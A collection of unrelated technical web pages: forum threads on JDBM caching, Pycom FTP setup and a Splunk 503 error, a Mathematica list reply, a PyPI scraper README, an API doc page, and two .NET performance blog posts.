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We are using JDBM HTree as a cache to store our custom objects , there is a job which checks for the update and refresh the custom objects in the cache.
we except around 200 k objects in the cache and all of this will be written to the file and will not be in the memory , but when i am looking in to the heap dump i see around 80 k objects in memory and are referenced from 'jdbm.htree.HashBucket'
we have transaction enabled and commit the transaction after every put to the cache. Is there a memory leak in the HTree ? or i am missing some configuration ? can someone help me. Thanks
cheers
-Sarav
Do you have record caching turned on? By default, an MRU record cache is used with 1000 entries. Remember that the object cache is caching the low level objects (the HashBucket objects), not the values you are storing in the hash buckets.
Try running with caching turned completely off and see what results you get.
Thanks for the reply.
I tried RecordManagerOptions.CACHE_SIZE = 0 got an error while starting the app and changed to RecordManagerOptions.CACHE_SIZE = 10 . But, still i see that the objects added to the JDBM are seen in the heap dump.
I run the following test and monitor with a heap space analyzer. I see the heap growing and contracting - nothing out of control. I also tested with the default cache enabled, and it performs similarly (the peak profile is different, natch, but no unbounded heap growth).
If the HTree were somehow responsible for the objects you are seeing in your heap dump, then this test should show a memory leak.
Can you put together a similar test that shows your issue?
If you are using a heap space analyzer, can you please take a look at the referants on your objects and see if any of the referants are jdbm objects?
/*
* Created on Dec 8, 2009
* (C) 2009 Trumpet, Inc.
*
*/
package jdbm.htree;
import java.io.IOException;
import java.util.Properties;
import jdbm.RecordManager;
import jdbm.RecordManagerFactory;
import jdbm.RecordManagerOptions;
import jdbm.helper.FastIterator;
import jdbm.recman.TestCaseWithTestFile;
import org.junit.After;
import org.junit.Before;
/**
* @author kevin
*/
public class TestBigInsert extends TestCaseWithTestFile{
public void setUp() throws Exception {
super.setUp();
}
public void tearDown() throws Exception {
super.tearDown();
}
public void testLotsOfInsertions() throws IOException {
Properties props = new Properties();
props.setProperty(RecordManagerOptions.CACHE_TYPE, RecordManagerOptions.NO_CACHE);
RecordManager recman = RecordManagerFactory.createRecordManager( TestCaseWithTestFile.testFileName, props );
HTree testTree = getHtree(recman, "htree");
int total = Integer.MAX_VALUE;
for ( int i = 0; i < total; i++ ) {
testTree.put( Long.valueOf(i), Long.valueOf(i) );
if (i % 10000 == 0){
recman.commit();
System.out.println("Free mem = " + Runtime.getRuntime().freeMemory());
}
}
recman.close();
}
private static HTree getHtree( RecordManager recman, String name )
throws IOException
{
long recId = recman.getNamedObject("htree");
HTree testTree;
if ( recId != 0 ) {
testTree = HTree.load( recman, recId );
} else {
testTree = HTree.createInstance( recman );
recman.setNamedObject( "htree", testTree.getRecid() );
}
return testTree;
}
}
PS - if you want to work with the 1.0 code, the test I posted above will work just fine if you don't add the NO_CACHE option - just comment out that line, and the heap still doesn't grow out of control. Highly unlikely that there is a memory leak in the HTree.
If you can put together a similar test case that demonstrates your issue, I'd be happy to take a look at the code and see if anything pops out that you might be doing wrong.
Thanks for the reply , i ran your test case in my local machine , i don't see the heap growing out of control , but i am trying to find the reason as to why there is reference to objects in the heap at all .
my understanding is that the objects will be in the file and heap will have only reference / pointer to the object in file .
ok - so no memory leak. So now the question is just about why objects are stored in the L1 or L2 cache in jdbm? The answer to that one is fairly straightforward: It sounds like your perception of what jdbm is might be a bit off.
jdbm is a full featured, embedded, object database. It has many features to enhance performance, including relatively advanced caching behavior.
So, jdbm can be used as a persistent cache like you describe, by default, it's going to do everything it can to work fast - and that means keeping objects around if it thinks they might be used again.
You can control these performance optimizations, including disabling the record cache entirely (that's where the NO_CACHE value comes into play).
In addition to the L1 and L2 record cache (which is where the object references you are seeing are most likely coming from), there is additional caching occurring at the block level (these will appear as byte arrays if you do a heap dump).
To provide some further clarification, the record level caches hold on to record objects in jdbm. Each page in the HTree is a record object, and each page can contain a largish number of references to your objects (the maximum, I think, is set to 100 entries - but I'm not positive on that). So, if the L1 cache is in effect (this holds on to the last 1000 record objects used), you could have a theoretical max of 100,000 of your objects still held in cache. If the load factor in the hashing algorithm is 0.8, then you have about 80K objects effectively held in cache.
When you dropped the cache size to 10, I would have expected this number to drop to 800 objects (10x100x0.8).
If you disable the cache entirely, then you shouldn't see referents.
I'm not sure what behavior you are seeing when you drop the cache size down, but if it's within an order of magnitude of the numbers I'm showing above, then the system is working as designed.
|
http://sourceforge.net/p/jdbm/discussion/12569/thread/d2ad1f94/
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[Date Index]
[Thread Index]
[Author Index]
Re: A kernel, multiple notebooks, and Global?
Hi,
> Thanks for this and other replies to this query -- which generally seem
> to say that, unless you do something to deliberately manipulate
> contexts, a group of several simultaneously open notebooks can generally
> be used as if they were all parts of one big notebook with one overall
> global context.
That's true AFAIK...
> I didn't raise this question because of any problems I've encountered,
> but rather to flush out any problems that might arise in the "packages
> ...
other than that I think if you feel comfortable to work the way you have
decribed there is technically no reason to not go for it.
The advantage of packages comes in when you want/need encapsulate parts
of your code so that different modules don't interfere. This could bite
you if you are not careful, but you could cure that by using separate
namespaces for them by using BeginPackage and EndPackage statements
within your modules notebooks. This you could do without creating *.m
files, which is probably what makes you think packages are complicated.
Another aspect where package files make sense is when you want to give
away code for others to use. If you don't plan to do that I don't see
much further advantages for you to dive into packages, although they
might be by far not as complicated as you think :-). Also it wouldn't be
much work to convert your modules notebooks to genuine packages whenever
you think it makes sense...
hth,
albert
|
http://forums.wolfram.com/mathgroup/archive/2008/Apr/msg00668.html
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Simple Windows installation
Is there any such thing as a windows installation that will install PyMakr. I'm just new to this and am wondering where PyQt fits in with PyMakr. Looks like the installation process is perfect for command line Linux heads! Can I just Notepad++ and FTP to the pycom. I have connected via usb and am on Com 17 at 115200. I have PuTTY working and can work the REPL. Should I be able to use FTP and how?
@pmulvey I do not see a reason for the difference, but I execute the piece of code for setting up the network interface from main.py. Actually it is in a separate file, let's call it "setup_wifi.py", and I have a statement
import setup_wifi
in main.py. It is usual practice to make main.py simple and to put you application code into separate files, which are then imported in main.py, eventually enclosed in a try/except clause. That way the device comes up in a stable state, even if you code flags errors.
@robert-hh On a soft reboot (CTRL-D) boot.py seems to hang on this line:
wlan = network.WLAN(mode=network.WLAN.STA)and I just get this response:
PYB: soft reboot
ÿ
But on the reset it works fine. Can I run main.py from REPL without a soft reboot? I have to explain here that I am new to both micropython and sipy but have done loads with arduino.
#")```
Robert,
This is my boot.py
boot.py -- run on boot-up")
When I do CTRL+D I get:
PYB: soft reboot
ÿ
and no REPL. It works OK with the reset button.
How do I get the fancy code window in my post?
@pmulvey I have re-configured my LoPy to use station mode. Doing this, I do not have to re-connect my PC every time. The script I use is:
import network import time # setup as a station wlan = network.WLAN(mode=network.WLAN.STA) wlan.connect(ssid="my_ssid", auth=(network.WLAN.WPA2, "my_password")) while not wlan.isconnected(): time.sleep_ms(50) wlan.ifconfig(config=("my_static_ip", "255.255.255.0", "my_gateway", "my_gateway"))
I use a static IP address, because that is more convenient in testing.
print(wlan.ifconfig())
And as a hint: Before adding this change, be sure to have REPL on USB enabled, so you have a fall-back if that script fails, while you set it up, or use WLAN.STA_AP as mode, which keeps AP mode.
@pmulvey I made a test with NppFTP. That Plugin has the habit of disconnecting between every two actions. That seems to confuse the FTP server of my LoPy and most likely your SiPy too. Other servers are more stoic.
FileZilla Windows works with LoPy. You have to define it in the server manager (File->Server Manager). Use password, unencrypted session, and in the transfer settings set passive mode and limit the number of simultaneous connections to 1.
@bucknall Alex,
I have FileZilla working. On the local site I just double click the file and it transfers to SiPy. However when I do a soft reboot (CTRL+D) in order to run main.py I lose the FTP connection. To get the FTP connection back I must press the reset button on SiPy and disconnect/reconnect sipy-wlan. I think that a disconnect/reconnect of sipy-wlan is required after a hard reset. Can FileZilla auto sync the local site with SiPy because if it did the file would get transferred over as soon as I save it in Notepad++.
Hi @pmulvey, sorry you've having these problems!
Have you followed the specific settings required for FileZilla to work? If you do not set these, then the FTP clients will have issues with connecting to your device (SiPy).
Have a look here for instructions on how to do so -
You need to ensure the transfer mode is passive and that you limit the number of simultaneous connections, this is important!
Let me know how you get on!
Cheers,
Alex
@pmulvey The FTP server of the Pycom devices supports passive mode only, with just 1 session.
Filezilla supports passive mode/1 session, but only when you configure a server. The quick connect option uses active mode.
Windows command line FTP supports active mode only. That means, you can do simple commands like cd, pwd, but not dir or file transfers.
WinSCP works nice, but has to be adequately configured (passive mode, 1 session)
I never tried NppFTP, but will do so. But besides that FTP on Pycom devices works very reliably. It's more the fact that Windows has a poor support of FTP. My preferred FTP client is the FTP plugin for Firefox, FireFTP, which works on all platforms I use (Linux, Windows, OS X)
@robert-hh I was asking if there was an installation exe for PyMakr but I'm now not going to install it as it is abandoned. I am using Notepad++. I could not get the NppFTP plugin to work, WinSCP and FTP command line in windows work intermittently and FileZilla will not work at all. I am suspecting that for some reason the SiPy responds to FTP requests only sometimes. I have currently it in AP mode and I think (though not sure) that when I disconnect and reconnect to sipy-wlan the FTP comes alive again. However if SiPy is only intermittently responding to FTP then all of these theories go out the window. PyCom need to clear up these silly teething issues as I'm tempted to throw it out! No fun at all!
@ashleythomas We're talking here about installing Pymakr under Windows. Are you sure you answer is about this topic?
- ashleythomas Banned
If you want to install Microsoft Windows then first of all you need to know the system configuration for windows compatibility without compatibility match windows installation not possible.
- mmarkvoort
I am not sure it is the same as LoPy.
But on the LoPy the password =
@robert-hh What is the password for sipy-wlan?
What is the password for sipy-wlan?
I see it now! What password do I use?
@pmulvey said in Simple Windows installation:
station
It as default work in AP(access point) mode
Look on avaiable networks and you will see it on the list
|
https://forum.pycom.io/topic/1016/simple-windows-installation
|
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hi, Dears:
I installed splunk enterprise 6.2.3 on Ubuntu server 1404 with no GUI. After I remote accessed the splunk web page and click splunk apps for downloading app, the browser jumped to one page "http://<ip of the server installed Splunk>:8000/en-US/manager/search/apps/remote", and said :
503 Service Unavailable
Return to Splunk home page
The splunkd daemon cannot be reached by splunkweb. Check that there are no blocked network ports or that splunkd is still running.
View more information about your request (request ID = 55616670e27f5e10785610) in Search
I checked all configuration:
how can I solve it ??
I found there is some error log in splunk:
ERROR [55617e8e167f5e107955d0] decorators:420 - Splunkd daemon is not responding: ('Error connecting to /services/apps/remote/entries: The read operation timed out',)
Traceback (most recent call last):
File "/opt/splunk/lib/python2.7/site-packages/splunk/appserver/mrsparkle/lib/decorators.py", line 406, in handleexceptions
return fn(self, a, *kw)
File "/opt/splunk/lib/python2.7/site-packages/splunk/appserver/mrsparkle/controllers/admin.py", line 3194, in splunkbasebrowser
apps, totalresults = self.getRemoteEntries(*kwargs)
File "/opt/splunk/lib/python2.7/site-packages/splunk/appserver/mrsparkle/controllers/admin.py", line 3152, in _getRemoteEntries
entities = en.getEntities(url, *kwargs)
File "/opt/splunk/lib/python2.7/site-packages/splunk/entity.py", line 129, in getEntities
atomFeed = getEntitiesAtomFeed(entityPath, namespace, owner, search, count, offset, sortkey, sort_dir, sessionKey, uri, hostPath, **kwargs)
File "/opt/splunk/lib/python2.7/site-packages/splunk/entity.py", line 222, in _getEntitiesAtomFeed
serverResponse, serverContent = rest.simpleRequest(uri, getargs=kwargs, sessionKey=sessionKey, raiseAllErrors=True)
......... omit
raise splunk.SplunkdConnectionException, 'Error connecting to %s: %s' % (path, str(e))
SplunkdConnectionException: Splunkd daemon is not responding: ('Error connecting to /services/apps/remote/entries: The read operation timed out',)
Make sure you are running splunk with splunk users and
before that from root user change files permission by
>chown -R splunk:splunk /opt/splunk/*
once done switch to splunk user
>su splunk
kill all the splunk and python services used by splunk,
>ps -ef|grep splunkd
>netstat -pan |grep python
>kill -9 <pid>
now restart the splunk services.
Thanks for your kindly help, i follow your instruction to run it again , but it doesn't work. I am thinking that maybe I use a wrong linux version , because the splunk download page says the package is for Linux Kernel 2.6.x. But the kernel version of Ubuntu server 14.04 is 3.1.3.
I ran into this issue when authenticating connection (s) from the Deployment server and/or Search Head to the Indexers. While logged into Splunk Web, as Admin, I went to Settings>Distributed Search>Search Peers and it was stating...
"503 service unavailable: The splunkd daemon cannot be reached by splunkweb. Check that there are no blocked network ports or that splunkd is still running."
The error message itself threw me off, immediately thinking it was something to do with IPTABLES. I check that and my configs were fine.
The issue was ultimately a Roles issue under the Admin account. I attempted to go into SETTINGS>ACCESS CONTROLS>ROLES>select Admin, and verified my admin user account had the appropriate capabilities, and the account did NOT.I noticed, under 'available capabilities' that 'restartsplunkd', among other admin roles I needed, we not in the 'selected capabilities' list. After trying to add the 'restartsplunkd', I would restart and it would state that the user I was logged in as, which was Admin, didn't have the rights to make the change. So I went to the command line on the Deployment Server.
Go to $SPLUNKHOME/etc/system/local. View/edit the authorize.conf. In there, I discovered that under the 'roleadmin' stanza, there were quite a few capabilities that were disabled, restart_splunkd being one of them. Once I enabled those permissions and saved, chown -R user:group /opt/splunk, chmod -R o-rwx /opt/splunk, /opt/splunk/bin/splunk restart.....everything was functioning appropriately.
You also might want to check your configurations under /opt/splunk/etc/deployment-apps/config_search/local/authorize.conf
Hope this helps.
thanks! -- for us the issue was that we needed to enable "editindexcluster" for our LDAP based admin group (splunk v6.5.x)
|
https://community.splunk.com/t5/All-Apps-and-Add-ons/I-can-t-browser-Splunk-Apps-alarm-quot-The-splunkd-daemon-cannot/td-p/126382
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A Python package to scrape shots data from understat.com for either a single game or a whole season.
Project description
understatscraper
A Python package to scrape shots data from understat.com for either a single game or a whole season.
Author: Shivank Batra(@prstrggr)
Installation
Use the package manager pip to install understatscraper.
pip install understatscraper
Usage
Scraping Data For A Single Game
You can get shots data for a single game by calling the single_match() method of the Understat class.
The function takes one single parameter which is the match id(int) of the game. Match id of the game can be found in the url at the end. Here we have taken the example of Liverpool-Leeds game:
from understatscraper import Understat # creating an instance of the class Understat understat = Understat() #Calling the function to scrape data for a specific game id 16414 #returns a dataframe containing all the shots data from the game df = understat.single_match(16414) print(df)
Scraping Data For A Whole Season
You can get shots data for a whole season and for a specified league by calling the season() method of the Understat class.
It takes four parameters:
- league(str)
- year(int)
- team(str). Default value as None.
- player(str). Default value as None.
NOTE:
Before calling the season function, make sure to download this csv file since it will used as a reference point to easily loop over the match ids according to the specified user input when calling the function.
If you want the data for let's say 20/21 season then input the preceding year i.e. 2020 as the year parameter to get the data for 20/21 season.
Data is available from the 2014 -2015 to 2021-2022 season.
Data for the 2021-2022 is only available till Gameweek 4.
Data is only available for five leagues:
- EPL
- La liga
- Ligue 1
- Bundesliga
- Serie A
Input 'La liga' as the league parameter with a smaller case l in liga when wanting the data for LaLiga. Similarly, for Premier league, input 'EPL'.
from understatscraper import Understat # creating an instance of the class Understat understat = Understat() #calling a function to scrape shots data for the EPL season 20/21 #returns a dataframe containing all the shots data from the EPL season 20/21 df = understat.season('EPL', 2020) print(df) #calling a function to scrape shots data for Raheem Sterling from the 20/21 EPL season. df = understat.season('EPL', 2020, team='Manchester City', player='Raheem Sterling') print(df)
NOTE:
While inputting the team and player, make sure to input exact team and player name that is available on understat.com
Contributing
For any doubts or suggestions you can contact me here
License
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
|
https://pypi.org/project/understatscraper/
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csDebuggingGraph Class ReferenceThis is a static class that helps with debugging. More...
#include <csutil/debug.h>
Detailed DescriptionThis is a static class that helps with debugging.
It will register an object in the object registry that keeps track of allocations in a graph. Later on you can add/remove allocations from that graph.
Definition at line 88 of file debug.h.
Member Function Documentation
Add a child to an object.
Add a new object to the debug graph and link to its parent.
If 'scf' is true 'object' is an iBase.
Add a parent to an object.
Attach a new description to an object in the graph.
Attach a type to an object in the graph.
Completely clear everything in the debug graph.
Dump the graph containing the given object.
You should usually leave reset_mark alone. That's for internal use.
Dump all the resulting graphs.
Unlink a child from its parent.
Remove an object from the debug tree.
Unlink a parent from its child.
Initialize the debugging graph.
Special note! In debug mode (CS_DEBUG) this function will put the pointer to the object registry in iSCF::object_reg. That way we can use this debugging functionality in places where the object registry is not available.
The documentation for this class was generated from the following file:
Generated for Crystal Space 1.0.2 by doxygen 1.4.7
|
http://www.crystalspace3d.org/docs/online/api-1.0/classcsDebuggingGraph.html
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The story of IIterable09 Apr 2011
This post was imported from blogspot.(This post is obsolete)
I like the .NET Framework. To me, C# is a much better programming language than Java or C++, and it offers good performance at the same time. However, some of the fundamental design decisions in the .NET framework bother me. Which brings me to the subject of this post: I'm remaking some of the .NET collections library, built on top of a replacement for IEnumerable<T> called IIterable<T>.
You see, I'm a bit of a performance nut. So it bothers me that the IEnumerator<T> interface requires two interface calls to retrieve each element of a collection: MoveNext() and Current. Therefore, I invented a replacement and named it Iterator<T>:
public delegate T Iterator<out T>(ref bool ended);
It had a corresponding interface called IIterable<T>, which is analogous to IEnumerable<T>:
public interface IIterable<out T> { Iterator<T> GetIterator(); }
Microbenchmarks show that this iterator has (at most) half the overhead of IEnumerator, as you would expect. More on that later.
When an iterator is called, it returns the next value in the sequence, and sets ended to true if there are no more elements. It should be noted that Iterator<T> was originally defined as follows:
public delegate bool Iterator<out T>(out T current);
This version was supposed to behave like IEnumerator.MoveNext(), returning true on success and false if there were no more elements in the sequence. It also happened to return the next value in the sequence, eliminating the need for IEnumerator.Current. Code that used the original Iterator<T> might look like this:
T current; for (var moveNext = list.GetIterator(); moveNext(out current);) { ... }
This was very similar to code that uses IEnumerator directly (instead of using a foreach loop):
for (var e = list.GetEnumerator(); e.MoveNext();) { T current = e.Current; ... }
Unfortunately, the .NET Framework did not allow this signature because the CLR does not support true "out" arguments--"out" arguments are the same as "ref" arguments but with a special attribute on them, so at the CIL level they still permit the caller to supply an input value. That makes them incompatible with the <out T> part of the declaration: since they technically accept an input value, they must be invariant, not covariant. Thus I had to change the definition as written above:
public delegate T Iterator<out T>(ref bool ended);
That's unfortunate, because using the iterator is much clumsier this way. for-loops like the one above must be written like this instead:
bool ended = false; for (var it = list.GetIterator();;) { T current = it(ref ended); if (ended) break; ... }
This clumsiness is avoided using an extension method:
public static bool MoveNext<T>(this Iterator<T> it, out T value) { bool ended = false; value = it(ref ended); return !ended; }
Unfortunately, there is a performance penalty for calling MoveNext(), which eliminates most of the performance gain you get from using Iterator in the first place.
Anyway, these "Iterators" are returned from IIterable<T>.GetIterator. There's more to it than this--I actually created a whole series of collection interfaces to fix other things I don't like about the design of .NET collection interfaces--but for this post I'm just going to focus on IIterable<T> and Iterator<T>.
I spent the last two days working on an implementation of LINQ-to-Iterators, and then discovered that there is a problem. A rather serious problem.
Iterator<T> and IIterable<T> and various other interfaces derived from it are covariant: Iterator<out T> and IIterable<out T>. This makes it possible to write pointless code such as this:
IIterable<object> Combine(IIterable<string> a, IIterable<Uri> b) { return a.Concat<object>(b); }
That is, IIterable<string> and IIterable<Uri> is implicitly convertible to IIterable<object>. It requires C# 4.0, but in theory you can do this with any version of the .NET Framework since 2.0. With a helper method written in C# 4.0, it's even possible to write code that does the same thing in C# 2.0.
However, as I began to implement LINQ-to-Iterable I realized that there is one major problem. In practice, any collection that implements IIterable<T> will also implement IEnumerable<T>, for fairly obvious reasons: Microsoft and third-party libraries expect IEnumerable<T>, and the foreach loop expects a GetEnumerator method.
But if a class implements both IIterable<T> and IEnumerable<T>, that class would suddenly have weird problems with LINQ. Why? Well, IEnumerable<T> supports LINQ, and once I finish LINQ-to-Iterable, IIterable<T> will support LINQ too, and that's precisely the problem. Let's consider what happens if I try to run a LINQ query on my Deque<T> collection that implements IIterable<T> and IEnumerable<T>:
Deque<int> list = ...; var odds = Iterable.CountForever(3, 2); var primes = from p in list where (p > 2 && (p & 1) == 1) || p == 2 where !odds.TakeWhile(n => n * n <= p).Any(n => p % n == 0) select p;
The compiler complains because it doesn't know which LINQ implementation to use: "Multiple implementations of the query pattern were found for source type 'Loyc.Runtime.Deque<int>'. Ambiguous call to 'Where'." The problem disappears if I remove "using System.Linq" from the top of my source file, or if I do the query against "(IIterable<int>)list" instead of just "list". However, it's an inconvenience at best. At worst, if the user doesn't understand why the error occurred and how to solve it, it's a showstopper.
I solved this problem by changing the definition of IIterable as follows:
public interface IIterable<out T> : IEnumerable<T>
This forces all implementations of IIterable to also implement IEnumerable, but it solves the problem because the compiler no longer considers the choice ambiguous: if a class implements IIterable<T>, the compiler will choose LINQ-to-iterable without complaint. The reason is that IIterable is now considered more specific, and the compiler prefers more specific method signatures.
The variance dilemmaUnfortunately, this causes a new problem: it refuses to compile for any .NET Framework version before 4.0! This is because Microsoft made a very strange decision: even though CLR version 2.0 supports generic variance, IEnumerable<T> is defined as invariant before version 4.0.
Interesting, is it not, how the interaction of seemingly unrelated issues--the way extension method resolution works in C# 3.0 (2006) and the decision Microsoft made in 2005 to mark IEnumerable<T> as invariant--combine to screw up my LINQ implementation?
I could only think of two ways to work around this problem.
(1) Restrict covariance to .NET 4.0, i.e. in .NET 2.0, make IIterable<T> invariant.
If I choose this option, not only do we lose covariance in .NET 2.0 and .NET 3.5 (which is sad because it's a cool feature), but it also forces me to release at least two DLLs, one for .NET 2.0 (which relies on LinqBridge for some features), and one for .NET 4.0. Probably a .NET 3.0 version is needed too, for those that don't want a dependency on LinqBridge.
If this problem didn't exist then you could have at least used the same DLL for .NET 3 and 4. Technically you could reference the .NET 3 DLL in .NET 4 and lose variance, but this would have the side effect of breaking interoperability with any program that uses the .NET 4 DLL instead.
(2) Don't derive IIterable<T> from IEnumerable<T>.
This option allows IIterable<T> to remain covariant, but causes conflicts with LINQ-to-Enumerable as I already described. I fear that a lot of developers, when confronted with the "Ambiguous call to 'Where'" error, will immediately say "screw this" and refuse to use my collection classes.
Therefore, my decision is to keep the following definition of IIterable<T>:
public interface IIterable<out T> : IEnumerable<T> { ... }
Blah, blah, blahI have a couple of comments about the design of Iterator<T>. Firstly, unlike IEnumerator, Iterator<T> does not implement IDisposable (indeed, it can't, since it's a delegate). My main rationale for this is that if your collection's iterator (as opposed to the collection itself) needs to implement IDisposable, you may as well continue using IEnumerator<T>. Certainly if Microsoft had chosen to use my "fast iterator" implementation when it first gave birth to .NET, it should have included IDisposable:
interface IEnumerator<out T> : IDisposable { bool MoveNext(out T current); }
Of course, back in the original .NET Framework of 2002, they weren't especially concerned with performance yet. And they hadn't invented generics yet. Plus, to make this interface variance-ready, they would have had to formally define "out" parameters as equivalent to return values. And while they were at it they could have maybe implemented return value inheritance covariance. But I digress...
Also, the C# language makes Iterator<T> much easier to implement as a delegate. For example, the implementation of Iterator.CountForever is very simple:
public static Iterator<int> CountForever(int start, int step) { start -= step; return (ref bool ended) => start += step; }
Although it would be possible to write a helper class that converts a lambda function to the hypothetical "IIterator<T>" interface, this would incur an extra interface invocation above the cost of invoking the lambda, not to mention an extra memory allocation. Therefore, IIterator<T> would generally not be any faster than IEnumerator<T> (without special compiler support to eliminate the overhead).
Secondly, you may have noticed that "ref bool ended" is "ref" instead of "out". My reasoning, again, is that if you're using Iterator instead of IEnumerator it's because you want to squeeze out every last drop of performance. Therefore, to save time, Iterators are not required to clear "ended" on every iteration; they only need to set it once, at the end.
One more thing. After I release this library, if you want to implement IIterable<T>, you can make your job easier by using IterableBase<T> or ListSourceBase<T> as your base class, which provides implementations of GetEnumerator(). If your collection class already has GetEnumerator, and you want to add IIterable<T>, you could add this method:
public Iterator<T> GetIterator() { return GetEnumerator().AsIterator(); }
But that's not necessarily a good idea, because the iterator itself will be slightly slower than the IEnumerator it was derived from. Only if a multi-step LINQ-to-Iterable query is built on top of this would there be any performance benefit. (I'll get around to some benchmarks later).
The performance of IteratorI wrote some simple loops that call IEnumerator<T> (MoveNext and Current) on the one hand, and Iterator<T> on the other. The collections being enumerated just count numbers:
public static IEnumerator<int> Counter1(int limit) { for (int i = 0; i < limit; i++) yield return i; } public static Iterator<int> Counter2(int limit) { int i = -1; return (ref bool ended) => { if (++i < limit) return i; ended = true; return 0; }; }
On my machine, in a Release build, it basically takes 7.1 seconds to count to a billion if I use IEnumerator<int>, 3.552 if I invoke Iterator<int> directly, and 6.1 seconds if I call the Iterator<int>.MoveNext extension method. The raw Iterator is thus about twice as fast as IEnumerator, although my test is imperfect since it ignores loop overhead and the content of Counter1 and Counter2. (It should also be noted that results vary from run to run, and seemingly irrelevant changes to the benchmark code also change the results. Sometimes my benchmark reports that IEnumerator requires 250% as much time, and sometimes only 170%, depending on the weather and the test PC.)
ConclusionWith a performance difference of only 3.5 seconds in a billion iterations, it's fair to ask whether IIterable is really worth it. Well, in most circumstances it probably isn't. But LINQ queries tend to be composed of many simple components, which means that the time spent invoking MoveNext, Current, and your lambdas may be a large fraction of the total runtime. In the future I'll try to quantify the difference.
If you do find that your LINQ-to-objects queries are slow, it often means you're doing it wrong: maybe you're using an O(N^2) algorithm when you should have picked a O(N log N) algorithm. But I believe in "the pit of success": developers shouldn't have to work much harder to write fast code. Microoptimizations, like writing out a LINQ query longhand with "foreach" or "for" loops, and calling through a List<T> reference instead of IList<T>, should virtually never be necessary. Instead, the low-level code they use as their foundation should be as fast as possible.
It's a hobby of mine to explore how the most basic components of the .NET Framework can be adjusted for better performance, in order to slide high-level code closer to that "performance pit of success". I don't really expect you to go out of your way to use IIterable<T>, because most of the time the performance difference is quite small. However, those who want to finally write a video game, compiler, simulation or other computationally intensive program in a truly high-level language like C# with LINQ--instead of juggling pointers in C++ and writing "for (int i = 0; i < (int)collection.size(); i++)" on the chalkboard another thousand times--will appreciate libraries like the one I'm developing.
Microsoft, if you're reading this: yes, I would consider a job offer. Put me with the cool kids that are designing C# 5.0. I'll tack on support for IIterable via yield return, and needless to say I have many other ideas for improvement. Also, if you pay me to write Loyc and rename it C# 6.0, I promise not to complain.
Thanks for reading!
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.
This.
Testing.
I.
Timing your code
One of the fundamental aspects of performance testing is identifying how long it will take you to execute the code you’re writing. There are a few ways you can measure this: measuring time elapsed while your code executes, computing how many instructions it may take and extrapolating time from there (based on target hardware), or I suppose you could guess. I can’t recommend the last option, however.
Hopefully, you’re reading Rico. He has a lot of information to share, but qualifies it by saying you should almost always follow it, except when you shouldn’t. I’m even less firm that that, even – all I wish to offer at this point is one method for accomplishing this task. It is by no means the “correct” way, nor is it necessarily the correct way for you.
A useful way to measure the product as it’s going along is to write micro benchmarks which exercise the hot code paths. A micro benchmark, essentially, is the distillation of the meat of a piece of functionality, stripped down to its core. With the application separated in this fashion, it’s easy to identify what’s slowing down an overall scenario. Once you’re done writing it, make sure to spend a little time thinking about what kind of results you expect to see. Depending on your requirements, of course, examples of good goals for a micro benchmark can be like “we need to be able to execute ShoppingCart::Add 300 times a second”, or “We need to be 5% faster than the last release.”
With that in mind, let’s first discuss some common pit falls of attempting to measure managed code execution speed.
Warm vs. Cold code paths.
It’s a good idea, when designing a micro benchmark, to run many, many iterations. The point, essentially, is to discover the answer to the question “How many times can I do this, in how long a time span?” As you can’t really control the thread scheduler and other aspects of the system, a small amount of variance can creep into your measurement. The solution is to run a benchmark for around the same number of time, increasing or decreasing the number of iterations as necessary. On the CLR Performance test team, we target five second runs for most of our micro benchmark tests. We then track how many iterations it takes to accomplish that, and we can use the metric of iterations per second as the benchmark number.
Ensure the environment is right
There are plenty of things you can do to the machine to ensure your performance measurement won’t be impacted. It’s preferable, for example, to start from a clean state if possible. This can be accomplished thorough the standard means of imaging, using good uninstall / reinstall steps, or what have you. It’s also a good idea to disable things like the screen saver, anti-virus software (carefully! Make sure you’re in a safe environment), and any scheduled tasks that might run in the background. It also can be useful to disable any services that might start using the CPU or disk unexpectedly, if possible.
Tools, tools, tools
Of course, you have to have a method with which to time code. Classically, one method for doing so has been QueryPerformanceCounter in the unmanaged world. However, no facility exists in the released versions of the framework which implements this functionality. The solution is to use interop to access this functionality. At the least, you need a start, stop, and result reporting method. I’ve written a simple example of this, called SimpleTimer, for which the source is at the bottom of this post.
Writing a benchmark
Now, let’s spend some time thinking about our benchmark. I’m going to demonstrate a fairly contrived example here. Let’s suppose we’re implementing the ShoppingCart::Add method I’ve mentioned a couple times. This is a fairly perf critical place in our application, and we want to make sure that changes to it in the future don’t impact it heavily. Pretend with me that someone’s given us a DLL containing a ShoppingCart class, which we can test.
Our benchmark code might go something like this:
using System;
using Perf; // The namespace of our timer class, SimpleTimer
public class Test
{
public static void Main(string[] args)
{
SimpleTimer timer = new SimpleTimer();
long nIters = Int64.Parse(args[0]);
ShoppingCart sc = new ShoppingCart();
sc.Add(); // Warm up that code path
timer.StartTimer();
for(long i = 0; i < nIters; i++)
{
sc.Add();
}
timer.StopTimer();
timer.Result(nIters); // the Result method prints the results of the test to the screen.
}
}
Essentially, when this is compiled to an executable, you’d execute it passing in the number of iterations desired. Timer.Result will then print out the results of the test: number of iterations, time elapsed, and iters/sec.
That’s a pretty good start. There’s a potential problem to think about though: The overhead of the for loop might be more costly than what you’re attempting to time. In that case, the trick is to execute your code path multiple times within the loop.
What to do with the results?
Congrats! You now have a fully functional and useful benchmark for your project. A final tip is to run your benchmark a few times, and average the results together. This will go a long way to eliminating any further noise that may be creeping into your results.
Wrapping up
This is getting a bit long, so I think I’ll leave it there for now. The key takeaways are:
SimpleTimer source
using System.Runtime.InteropServices;
using System.Security;
namespace Perf
[StructLayout(LayoutKind.Sequential, Pack = 8)]
public class large_int
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.I8)]
public long value;
[SuppressUnmanagedCodeSecurity()] // This is to eliminate the security check calling down to QueryPerformanceCounter. Be careful where you use this!
public class SimpleTimer
[DllImport("kernel32.dll")]
public static extern bool QueryPerformanceCounter(large_int count);
public static extern bool QueryPerformanceFrequency(large_int freq);
private large_int m_Freq = new large_int();
private large_int m_Start = new large_int();
private large_int m_Stop = new large_int();
public SimpleTimer()
{
// It's a good idea to run your timer code path once to warm it up
StartTimer();
StopTimer();
public void StartTimer()
QueryPerformanceCounter(m_Start);
public void StopTimer()
QueryPerformanceCounter(m_Stop);
public void Result(long nIters)
QueryPerformanceFrequency(m_Freq);
double nResult = ((double)m_Stop.value-(double)m_Start.value) / (double)m_Freq.value;
double nItersSec = nIters / nResult;
Console.WriteLine("{0} iterations took {1} seconds, resulting in {2} iterations per second", nIters.ToString(), nResult.ToString("F3"), nItersSec.ToString("F3"));
